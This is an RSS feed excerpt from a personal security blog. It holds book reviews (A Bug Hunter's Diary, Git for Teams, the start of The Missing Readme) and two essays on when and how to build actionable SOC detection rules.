<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Review: {Automating} {Security} {Detection} {Engineering}},
  date = {2025-03-27},
  url = {https://lopes.id/log/review-automating-detection-engineering/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Review: Automating Security Detection
Engineering.”</span> March 27. <a href="https://lopes.id/log/review-automating-detection-engineering/">https://lopes.id/log/review-automating-detection-engineering/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <category>dev</category>
  <guid>https://lopes.id/log/review-automating-detection-engineering/</guid>
  <pubDate>Thu, 27 Mar 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/review-automating-detection-engineering/og-review-automating-detection-engineering.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Review: A Bug Hunter’s Diary</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/review-bug-hunters-diary/</link>
  <description><![CDATA[ 






<p>A <a href="https://www.amazon.com/Bug-Hunters-Diary-Software-Security/dp/1593273851">Bug Hunter’s Diary</a> is one of the most recommended books among Information Security professionals. As someone eager to learn more about this field and its intersection with Offensive Security, I decided to give it a read. Here, I share my thoughts on the book.</p>
<section id="plot" class="level2">
<h2 class="anchored" data-anchor-id="plot">Plot</h2>
<p><strong>A Bug Hunter’s Diary</strong> is a compilation of bugs discovered by the author, Tobias Klein. Each chapter explains, in a light and engaging writing style, how Tobias discovered a vulnerability, created an exploit, remediated it, and the lessons he learned. He also includes final thoughts and references, which I found to be a great structure. Throughout the book, he shares code snippets and diagrams to help readers understand the technical details—helpful since he often works at the lower levels of computing, interacting with the kernel and CPU.</p>
<p>By the end of the book, Tobias includes appendices that provide additional details on techniques and tools he used. One appendix even lists the commands he commonly uses in debuggers, which is incredibly helpful for beginners. As a nearly 15-year-old book, some tools and commands mentioned may have changed or become outdated. New tools, like <a href="https://ghidra-sre.org/">Ghidra</a>, have also emerged since its publication. However, the author does an excellent job of keeping the <a href="https://www.trapkit.de/books/bhd/">BHD</a> page updated with additional content, such as videos and updates. This effort breathes fresh life into the book and enhances the learning experience.</p>
<p>Overall, the book is straightforward and concise. It’s a quick read, but if you want to dive deep into bug hunting, following the references mentioned by the author is essential.</p>
</section>
<section id="impressions" class="level2">
<h2 class="anchored" data-anchor-id="impressions">Impressions</h2>
<p>While the book is highly technical, it has a storytelling quality thanks to the author’s approach of presenting each case as it unfolded. Tobias’s intention to make the content accessible is evident through his recaps and explanations. Reading this book gave me a glimpse into the bug hunting scene, and by the first chapter, I could clearly see the author’s expertise in the field.</p>
<p>Bug hunting can be divided into static and dynamic analysis (SAST and DAST) and categorized into low and high levels. Static analysis focuses on source code, while dynamic analysis examines processes running in memory. Low-level work involves direct manipulation of hardware resources, memory management, and system calls, whereas high-level work focuses on user-facing applications, managing complex software architectures, and leveraging APIs for increased abstraction from the underlying hardware.</p>
<p>Tobias excels in low-level static analysis. As a result, the book is filled with C code, syscalls, CPU registers, and memory addresses. Readers with a background in programming and computer architecture will benefit the most from this book.</p>
<p>I found it fascinating to learn more about the vulnerability disclosure process, especially after reading <em><a href="../../log/review-countdown-zero-day/">Countdown to Zero Day</a></em> a few months ago. That book explored the vulnerability market (white, gray, and black) during the early 2000s, the era when Stuxnet and its variants were developed—the same time frame of the cases presented here. In this sense, the two books complement each other.</p>
<p>For someone outside the bug hunting trenches, it’s enlightening to understand attacks like buffer overflows and NULL pointer dereferences in greater detail. The references Tobias provides are particularly valuable. While some links are broken due to the book’s age (published in 2011), the recommended books are gold ⭐ for anyone starting in this field. Despite the book’s brevity and the author’s ability to simplify complex topics, the subject matter is dense. Some references are lengthy and will require significant time to fully absorb.</p>
</section>
<section id="last-thoughts" class="level2">
<h2 class="anchored" data-anchor-id="last-thoughts">Last Thoughts</h2>
<p>Beyond the technical details and the author’s knack for simplifying complex concepts, what I appreciated most about this book was learning the bug hunter’s mindset. Tobias doesn’t explicitly state it, but if you pay close attention to each case, you’ll notice his process. His extensive background helps him select targets and form hypotheses. He then enumerates entry points where users input data, tracks that data, and looks for validation gaps or logic errors that could allow crafted data to disrupt the process and gain control over the CPU. Once he develops a working exploit, he notifies the company or a bug bounty program, along with remediation suggestions. This was exactly what I was looking for. 👀</p>
<p>Another valuable lesson is that it’s okay to specialize within a field, such as low-level static analysis. However, adding complementary skills, like dynamic analysis, even if you don’t master them, can be beneficial in certain scenarios. For example, while you might rarely use a hammer, having one can make the occasional task easier. Similarly, expanding your skill set can open up new opportunities and make your work more efficient.</p>
<p>To answer my initial question, bug hunting is a precursor to Offensive Security. In bug hunting, researchers focus on finding and exploiting vulnerabilities (bugs). Once a vulnerability is discovered, it becomes a zero-day, and the researcher decides how to proceed. Eventually, the vulnerability may become public, allowing Offensive Security engineers to use it in their tests.</p>
<p>Although this book serves as an entry point to bug hunting, it’s not an entry-level book for IT professionals. Readers will benefit most if they have a background in C programming and computer architecture.</p>
<p>After reading this book, you’ll realize that bugs aren’t monsters. They’re often just a lack of user input validation or flawed logic. Fixing them can be as simple as adding an extra condition to an <code>if</code> statement or checking the size of a user-provided string. That said, while the bugs themselves may not be monstrous, the impact of their exploitation can certainly feel like a nightmare. ☠️</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>For those adventurers who want to explore any new area, a last advice: There are multiple ways to accomplish a task in any field. Understanding the theory and basic tools allows you to do many things, but expanding your toolkit and techniques can make you more efficient and versatile. When starting in a new field, don’t be intimidated by the variety of approaches (like SAST/DAST or low/high-level programming). Choose one method to begin with, and feel free to adapt as you progress. 👊</p>
</div>
</div>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Review: {A} {Bug} {Hunter’s} {Diary}},
  date = {2025-02-21},
  url = {https://lopes.id/log/review-bug-hunters-diary/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Review: A Bug Hunter’s Diary.”</span> February
21. <a href="https://lopes.id/log/review-bug-hunters-diary/">https://lopes.id/log/review-bug-hunters-diary/</a>.
</div></div></section></div> ]]></description>
  <category>career</category>
  <category>intel</category>
  <category>hardening</category>
  <category>unix</category>
  <guid>https://lopes.id/log/review-bug-hunters-diary/</guid>
  <pubDate>Fri, 21 Feb 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/review-bug-hunters-diary/og-review-bug-hunters-diary.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Review: Git for Teams</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/review-git-for-teams/</link>
  <description><![CDATA[ 






<p>Git is a popular tool and the <em>de facto</em> version control system (VCS) in the market. It’s used everywhere—from colleges to large corporations, and from beginners just learning to program to seasoned professionals. But does simply learning how to run a few commands make you good at Git? I don’t think so. Git is a tool, and like any tool, it can be used in many ways. While each person or team can set their preferred way of managing version control, some best practices are universal. Having a deeper understanding of what Git can do for you can help you find better ways to accomplish your tasks.</p>
<p>One of the sources mentioned in <a href="../../log/review-missing-readme/">The Missing Readme</a> is <a href="https://www.amazon.com/Git-Teams-User-Centered-Efficient-Workflows/dp/1491911182/"><strong>Git for Teams</strong></a>. As someone who never took the time to seriously learn Git, I decided to give this book a try to bridge some knowledge gaps and improve my daily workflow. In this post, I share my review of the book along with some insights for those who are new to Git or, like me, use it regularly but lack a deep understanding of the tool.</p>
<section id="git-and-the-book" class="level2">
<h2 class="anchored" data-anchor-id="git-and-the-book">Git and the Book</h2>
<p>Git was developed by Linus Torvalds in 2005 to solve version control issues while maintaining Linux. It was designed as a set of small programs that work together to track changes in files. As the version control system for one of the most famous open-source projects, Git gained widespread adoption and grew in both quality and functionality to become the preferred VCS for many professionals today.</p>
<p>Git’s simplicity is one of its greatest strengths. As a distributed VCS, Git eliminates the complexity found in older tools like Subversion (SVN). I remember years ago using Microsoft SharePoint to manage team documentation, which had <em>a kind</em> of centralized VCS under the hood. Back then, before editing a file, I had to check it out, and after finishing, I had to check it back in to “release” it. If someone forgot to release a file, we either had to contact the SharePoint admin or wait for the person to become available. It was a huge waste of time.</p>
<p>In <strong>Git for Teams</strong>, Emma Jane demonstrates a deep knowledge of Git and extensive experience using it with teams, particularly in open-source projects—arguably the most challenging environment for version control. She guides the reader from the basics of teamwork and version control processes to more advanced and complex Git commands. However, it’s important to note that this book was released a decade ago (in 2015), and like any technical book tied to a tool, it has become somewhat outdated. The version control landscape has also evolved significantly since then, with Git and platforms like GitHub now being ubiquitous in both professional and academic settings.</p>
<p>Git for Teams is divided into three parts. Part I provides an overview of teamwork and collaboration strategies. Part II delves into Git’s technical aspects and concepts. Part III covers three code-sharing platforms: <a href="https://github.com/lopes/">GitHub</a>, <a href="https://bitbucket.org/">BitBucket</a>, and <a href="https://about.gitlab.com/">GitLab</a>. Despite Emma’s suggestion that Part I might be less relevant for technical professionals, I found it valuable because it lays a solid foundation for understanding team dynamics, which is then applied in Part II through Git workflows . Part III, while lighter in content, provides guidance on using each platform.</p>
<p>This book covers the basics of project management, teamwork, version control, and how to implement these practices using Git. You’ll learn how to create repositories, commit changes, work with branches, merge, revert actions, and more. Beyond just explaining commands, Emma provides version control strategies from her experience as a seasoned professional. For instance, she emphasizes organizing work into tasks grouped by objectives, such as a new feature. Each objective should have its own branch, and commits within that branch should be atomic—focused on specific changes. This approach allows you to leverage Git’s full potential, enabling you to modify or remove commits before merging the branch into the mainline or discarding it entirely.</p>
<p>Concepts like branching, committing, and pull requests are explained with clear examples that help you truly understand their purpose. These explanations make best practices seem obvious. For example, she describes branching as a way to say, “Check this out!” to your teammates. Therefore, additions to the project should be in a new branch, allowing others to review, propose changes, and decide whether to merge or drop it.</p>
<p>Overall, it’s a straightforward yet comprehensive book, offering a fast and informative read.</p>
</section>
<section id="impressions" class="level2">
<h2 class="anchored" data-anchor-id="impressions">Impressions</h2>
<p>Emma has a light and conversational writing style, making the book feel like a friendly discussion. She gets straight to the point, so don’t expect extensive references or footnotes. The examples she uses are drawn from real-world scenarios she encountered during her career, many of which are based on open-source tool development. These cases are robust and relatable.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Emma also includes a helpful diagram that illustrates the relationship between the repository, the working directory (your current work), and the staging area—a bridge between the two. For example, committing moves files from the staging area to the repository. Keep this diagram at hand for reference! 💡</p>
</div>
</div>
<p>As someone who has been using open-source software for over 20 years 👴, I was familiar with terms like “fork” and “releases.” However, learning their significance from a developer’s perspective—especially from someone who worked on projects I’ve used, like Drupal—was truly enlightening.</p>
<p>Git is fundamentally about version control, so features like issue tracking, authentication, and access control are implemented by external tools. Today, GitHub is the most popular platform, with GitLab being the go-to open-source alternative. These tools <strong>complement</strong> Git and make teamwork more efficient. That said, I don’t think Part III, which focuses on these platforms, adds much value. It feels like filler content, making the book longer and more dated than necessary.</p>
<p>The book hasn’t been updated since its release. As a result, some commands and terminology have changed, and many links are broken. Even the official website now consists of a single page with text about Git—many subpages referenced in the book no longer work. The author could have consolidated everything into a single repository instead of relying on a website, as the GitHub and GitLab repositories are still accessible.</p>
<p>For me, the second half of Part II felt too command-heavy, focusing more on examples than best practices. I would have preferred more discussion on strategies, such as when to use rebase versus merge, rather than an exhaustive list of rebase examples. Defining general guidelines for such scenarios would have been more helpful.</p>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom-line</h2>
<p>I started using Git many years ago because I was tired of using suffixes like <code>_final</code>, <code>_reviewed</code>, and others in my filenames. Despite this, I never took the time to truly understand how Git works under the hood. This superficial knowledge limited my ability to use Git effectively. For example, I used to think that a commit should be as comprehensive as possible, often bundling an entire day’s work into a single commit. When I needed to revert a change, I did it manually, which defeated the purpose of using Git. Additionally, because I didn’t use branches effectively, I sometimes found myself deleting and recloning entire repositories when changes needed to be discarded.</p>
<p>In contrast, last year I started using branches for <a href="https://lopes.id">this blog</a> 🌲 after learning the practice at work. For every new post, I create a new branch and work on it independently. This allows me to parallelize my writing and keep drafts organized. For instance, when writing the <a href="../../log/nebula-1-detection-lab/">Project Nebula</a> series 🚀, I created a branch for each post (four in total) and treated each as an individual feature. Publishing a post was as simple as merging the branch into the main branch.</p>
<p>Git is a tool, and like any tool, it can be used in various ways—from basic operations like cloning, branching, committing, and pushing, to more advanced techniques like rebasing, reverting, and bisecting. The author covers all of these, but it’s up to you to decide how to use them. Software engineers may need to master advanced techniques, while SREs (including information security professionals like myself) may find simpler workflows sufficient. Regardless of your approach, adhering to best practices is essential for making the most of Git. This book can certainly help, especially Parts I and II.</p>
<p>For non-software engineers, this book might provide more information than necessary. That’s okay—it’s a testament to the author’s expertise. My advice to readers is this: If you find yourself getting bored, skim through the content and take notes on the commands, their effects, and the contexts in which they should be used. Focus on the ones you think you’ll use frequently, as you can always rely on Google or an LLM for rare scenarios. Create a cheat sheet for future reference and move on.</p>
<p>Git is like a whiteboard—you need to set your own rules to keep your work organized. Decisions like defining the main repository, choosing a branching strategy, and establishing naming conventions for commits and branches are what bring order to chaos. This book will help you understand what works best for you and your team. You’ll learn how to use Git beyond just clicking buttons on GitHub, giving you greater control over your work. 💪</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Review: {Git} for {Teams}},
  date = {2025-01-31},
  url = {https://lopes.id/log/review-git-for-teams/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Review: Git for Teams.”</span> January 31. <a href="https://lopes.id/log/review-git-for-teams/">https://lopes.id/log/review-git-for-teams/</a>.
</div></div></section></div> ]]></description>
  <category>career</category>
  <category>dev</category>
  <guid>https://lopes.id/log/review-git-for-teams/</guid>
  <pubDate>Fri, 31 Jan 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/review-git-for-teams/og-review-git-for-teams.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>To Detect or Not to Detect</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/detect-or-not-strategy/</link>
  <description><![CDATA[ 






<p>As a Detection Engineer, I analyze requests for new detections and decide whether they are worth implementing. While this decision is not always straightforward, I follow a set of guidelines to help determine if a detection is justified. In this post, I aim to shed light on this topic.</p>
<section id="what-is-a-detection" class="level2">
<h2 class="anchored" data-anchor-id="what-is-a-detection">What is a Detection?</h2>
<p>A detection is a rule that triggers an alert 🚨 when specific conditions are met. These conditions can include a single event, a sequence of events, or a combination of events. In a SOC, detections are designed to identify and respond to malicious or unauthorized activities in real-time or near real-time. Such activities often fall into the following categories:</p>
<ol type="1">
<li><strong>Adversarial behavior:</strong> Use cases aligned with known tactics, techniques, and procedures (TTPs) of threat actors, such as lateral movement, privilege escalation, or data exfiltration. Frameworks like MITRE ATT&amp;CK are often referenced.</li>
<li><strong>Indicators of Compromise (IOCs):</strong> Specific artifacts or evidence of malicious activity, such as malware hashes, IP addresses, or domains. Here, there’s an intersection with threat intelligence.</li>
</ol>
<p>As discussed <a href="../../log/actionable-detection-strategy/">here</a>, <strong>detections should lead to actionable steps that mitigate risk</strong>. Effective detections require input data, usually logs from the monitored environment, and must provide enough context to be actionable for analysts.</p>
</section>
<section id="what-is-not-a-detection" class="level2">
<h2 class="anchored" data-anchor-id="what-is-not-a-detection">What is NOT a Detection?</h2>
<p>When implementing new security tools or addressing vulnerabilities, it’s common to see requests for new detections. Similarly, compliance with regulations or incidents often prompts such requests. However, are detections always the right response? Not necessarily. Two other areas often overlap with detections but are distinct:</p>
<ul>
<li><strong>Vulnerability management:</strong> Responsible for identifying, assessing, and remediating vulnerabilities to reduce risk as a proactive approach to minimizing the attack surface.</li>
<li><strong>Governance, Risk, and Compliance (GRC):</strong> Responsible for ensuring adherence to organizational policies, standards, and regulatory requirements.</li>
</ul>
<p>For example, consider a tool that monitors systems for configuration drift, like <a href="https://aws.amazon.com/config/">AWS Config</a>. If it generates alerts about an S3 bucket lacking server-side encryption or an unencrypted EBS volume, how should the SOC respond? Often, the SOC ends up acting as a helpdesk, forwarding the alert to the system owner or cloud team. Meanwhile, the SOC could be investigating a ransomware incident or handling a flood of phishing emails. Should the SOC be responsible for these alerts? No 👎.</p>
<p><strong>There’s a timing issue at play.</strong> SOC alerts are treated as ongoing incidents requiring immediate attention, while vulnerabilities and compliance issues may take longer to address due to the need for updates or bug fixes. It leads to different approaches. Detections are designed to trigger alerts in real-time, while vulnerability management and GRC are more about risk management and compliance over time.</p>
</section>
<section id="decision-framework" class="level2">
<h2 class="anchored" data-anchor-id="decision-framework">Decision Framework</h2>
<p>When evaluating a new detection request, I begin by understanding the use case. Key questions include:</p>
<ul>
<li>What threat actors are we trying to detect?</li>
<li>What TTPs are we targeting (e.g., MITRE ATT&amp;CK, Kill Chain)?</li>
<li>Are there any IOCs that can aid detection?</li>
<li>Have we implemented preventative measures to mitigate this risk?</li>
</ul>
<p>These questions clarify the context and delineate the use case. If the request is unrelated to malicious behavior or adversarial tactics, it <strong>often</strong> pertains to a vulnerability or compliance issue. In such cases, I consider whether IOCs or data sources can enrich the SOC’s context.</p>
<p>For instance, vulnerability scanners are not ideal for creating detection alerts, but they are valuable for enrichment. They provide insights into internal assets, configurations, and vulnerabilities, which can enhance the SOC’s detection capabilities by improving risk assessment and understanding the environment. Therefore, it is worth ingesting their logs into the SIEM for context 👀.</p>
<p>Finally, I document my findings and discuss them with the team. Together, we evaluate the request and decide whether to proceed. If the detection is approved, we define requirements and priorities. If not, we document the rationale and provide feedback to the requester. In some cases, we may decide not to implement a detection but still ingest relevant logs for added context, like vulnerability scanners.</p>
</section>
<section id="bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="bottom-line">Bottom Line</h2>
<p>To decide if a detection is worth implementing, it’s essential to understand the context and use case. Detections should focus on identifying and responding to malicious activities in real-time—they’re not the right solution for vulnerabilities or compliance issues. Other teams may intersect with Detection Engineering in similar ways, even if they weren’t mentioned here. Take the time to understand your InfoSec structure and build strong alliances with other teams to seamlessly route requests to the right place 💡.</p>
<p>As a Detection Engineer, you are responsible for your detection rules. Each new detection and data source consumes resources and can impact SOC performance. Implementing detections outside the SOC’s scope risks causing alert fatigue 😫, reducing team efficiency 📉, and misusing resources 💸.</p>
<p>By following a structured decision framework, you can ensure that implemented detections align with the organization’s security strategy and provide value to the SOC. Remember to document your decisions, seek peer feedback, and maintain clear communication with requesters. This approach helps the SOC stay focused on its primary mission: detecting and responding to malicious activities. ✌️</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2024,
  author = {Lopes, Joe},
  title = {To {Detect} or {Not} to {Detect}},
  date = {2024-12-31},
  url = {https://lopes.id/log/detect-or-not-strategy/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2024" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2024. <span>“To Detect or Not to Detect.”</span> December
31. <a href="https://lopes.id/log/detect-or-not-strategy/">https://lopes.id/log/detect-or-not-strategy/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <category>dfir</category>
  <guid>https://lopes.id/log/detect-or-not-strategy/</guid>
  <pubDate>Tue, 31 Dec 2024 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/detect-or-not-strategy/og-detect-or-not-strategy.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Towards Actionable Detection</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/actionable-detection-strategy/</link>
  <description><![CDATA[ 






<p>The Cyber Threat Intelligence (CTI) community coined the term <strong>“actionable intelligence”</strong> to describe relevant, timely, and contextual information that supports effective decision-making. In recent months, while working closely with the CTI team as a detection engineer, I have been reflecting on ways to make detections more actionable in order to address some of the common challenges faced in my role. This post summarizes my reflections.</p>
<section id="common-problems" class="level2">
<h2 class="anchored" data-anchor-id="common-problems">Common Problems</h2>
<p>Let’s start by examining the common issues that plague detection engineering.</p>
<p>The most prevalent problem is <strong>noisy detections</strong> 🔊. High rates of false positives overwhelm the Security Operations Center (SOC), leading to <strong>alert fatigue</strong>. The causes of this issue are varied but often include <strong>poorly tuned rules</strong> and a <strong>lack of contextual enrichment</strong>, which negatively impacts investigations. Often, when analyzing a bad detection, I notice that its <strong>purpose</strong> is unclear and disconnected from any phase of the kill chain or threat model—ex.: TTP. It’s like someone’s dream that never came true.</p>
<p>When we look at the reason for a detection’s existence 🤔, it’s unfortunately not uncommon to find detections created as <strong>substitutes for preventive controls</strong> 💀. This is problematic because the root cause isn’t addressed, turning the detection into a pain point for the SOC—like an IDS exposed to the internet and sending all alerts to your team. Issues in the <strong>detection lifecycle</strong> are also common. <strong>Outdated or temporary detections left in production</strong> generate garbage alerts or, at best, consume resources unnecessarily. The same applies to <strong>overlapping or redundant detections</strong> that trigger on the same behavior or event (within the same scope), leading to duplicate alerts and wasted resources.</p>
<p>These problems create friction between the SOC and detection engineering teams, potentially eroding trust in the detection program. While automation 🤖 may seem like a good solution, it often ends up being a temporary fix—similar to sweeping dirt under the rug—by diverting resources to manage unnecessary situations. The real solution lies in addressing the root cause: improving the quality of detections and ensuring they are <strong>actionable</strong>.</p>
</section>
<section id="towards-actionable-detection" class="level2">
<h2 class="anchored" data-anchor-id="towards-actionable-detection">Towards Actionable Detection</h2>
<p>One of the first things I did when I started as a detection engineer was read 📘 <a href="../../log/review-intelligence-driven-ir/">Intelligence-Driven Incident Response</a>. That was my first introduction to the concept of actionable intelligence. Over the past few months, while working closely with the CTI team to leverage MISP and other threat intelligence platforms, I started thinking about how I could apply this concept to Detection Engineering.</p>
<p>I believe that <strong>actionable detection</strong> is any detection that raises relevant, timely, and contextual alerts, calling the SOC to action for better security. From the outset, an actionable detection <strong>is not</strong> meant to replace preventive controls but to complement them. It is scoped to a specific kill chain phase or TTP, with a clear and solid use case or hypothesis in mind, directly linking to actions that mitigate malicious activity.</p>
<p>An actionable detection <strong>doesn’t</strong> overlap with existing actionable detections. Instead of just writing a new rule, the engineer reviews existing ones to avoid duplication. Actionable detection also has a defined lifecycle, with periodic reviews from conception to retirement, ensuring it evolves with the threat landscape and the organization’s security posture. These reviews ensure the detection remains relevant and that false positives and false negatives are kept at an acceptable level.</p>
<p>It’s important to note though that an actionable detection doesn’t need to be complex or perfect. You don’t need fancy correlations or enrichments to make it actionable. The key is to ensure it is <em>relevant, timely,</em> and <em>contextual</em>. Additionally, it’s important to remember that there’s no such thing as a perfect rule. Like any software, detections will have bugs and limitations—for example, it’d be naive to expect that any detection will fully cover a MITRE ATT&amp;CK Technique (think of Procedures). You mitigate this by implementing a well-defined lifecycle and robust review process with complementary detections—see <a href="../../log/threat-detection-dilemma/">The Threat Detection Fundamental Dilemma</a>.</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>Threat detection is a complex and challenging field—arguably the most complex within the SOC, in my opinion. After facing common problems in this area, I connected the concept of actionable intelligence to detection engineering. I believe that <strong>actionable detection is the path to making detections more effective and less painful for the SOC.</strong></p>
<p>Keeping the concept of actionable detection in mind will guide you to create and maintain meaningful detections. Starting with a lifecycle process and emphasizing the conception phase will help you avoid common pitfalls, such as failing to define clear use cases or follow-up actions. By periodically reviewing your rules—not just the code but also their output and impact, such as the <strong>false positive rate</strong>—you can keep your environment clean and your SOC team happy.💡✌️</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2024,
  author = {Lopes, Joe},
  title = {Towards {Actionable} {Detection}},
  date = {2024-12-18},
  url = {https://lopes.id/log/actionable-detection-strategy/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2024" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2024. <span>“Towards Actionable Detection.”</span> December
18. <a href="https://lopes.id/log/actionable-detection-strategy/">https://lopes.id/log/actionable-detection-strategy/</a>.
</div></div></section></div> ]]></description>
  <category>detection</category>
  <category>dfir</category>
  <guid>https://lopes.id/log/actionable-detection-strategy/</guid>
  <pubDate>Wed, 18 Dec 2024 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/actionable-detection-strategy/og-actionable-detection-strategy.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Review: The Missing Readme</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/review-missing-readme/</link>
  <description><![CDATA[ 






<p>Recently, I worked on some projects at my job that made me question my coding abilities. I’ve enjoyed programming since my college days, but as an Infosec Engineer, I naturally have some gaps when compared to software engineers. While searching for a book to dive deeper into software engineering and catch up on topics like software testing, I came across <a href="https://amzn.to/3D3IN51">The Missing Readme (No Starch Press, 1st edition)</a> 🔗. Here, I share my impressions.</p>
<section id="the-book" class="level2">
<h2 class="anchored" data-anchor-id="the-book">The Book</h2>
<p><strong>The Missing Readme</strong> is aimed at new engineers in the software engineering (SWE) field, but even computer veterans like me can benefit from it. Written by experienced engineers from specialized teams, this book is clearly grounded in real-world scenarios, often referencing past cases to illustrate its lessons.</p>
<p>However, the book goes far beyond technical aspects of SWE. It also serves as an excellent career guide, introducing readers to common practices in dynamic companies, such as performance cycles and Agile development. Keep in mind, though, that this book won’t teach you how to use Docker or showcase fancy command-line tricks. Apart from a few code snippets used as examples, the guidance operates at a higher level.</p>
<p>The authors frequently share personal experiences, which makes the material relatable and helps to demystify the challenges of SWE. It reassures readers that it’s okay to have doubts and make mistakes—what matters is learning to fail faster and with minimal impact.</p>
<p>The chapter structure is well thought out. Each chapter begins with a brief overview of what you’ll learn and concludes with a “dos and don’ts” list summarizing the best practices covered. There’s also a references section, but instead of merely listing sources, the authors explain what you can learn from each one. This thoughtful curation ensures only top-quality references are included, with helpful explanations guiding readers to the most relevant materials.</p>
</section>
<section id="impressions" class="level2">
<h2 class="anchored" data-anchor-id="impressions">Impressions</h2>
<p>I previously worked at an [almost] centennial company with a rigid hierarchy and process-heavy workflows rooted in the national landscape. Then, I transitioned to a 9-year-old company with a startup mentality, loose hierarchy, and a global perspective. In this new environment, I was inundated with terms like 1:1s, OKRs, and retrospectives. It took me weeks to adapt, but reading The Missing Readme beforehand would have made that transition much smoother.</p>
<p>As the title suggests, this book fills the gap by explaining the unwritten rules of working in global companies—things that are often assumed to be common knowledge but are rarely taught in college. Through a conversational writing style, the authors address technical concepts, workplace processes, and expected behaviors to help readers navigate corporate life effectively.</p>
<p>You’ll learn about best practices for version control, the importance of good documentation, and strategies for writing tests. Beyond the technical, the book also teaches you how to handle on-call duties, conduct meaningful 1:1s with your manager, and seek help from your peers. While the content is aimed at early-career professionals, it’s equally valuable for experienced engineers looking to align with modern workplace norms.</p>
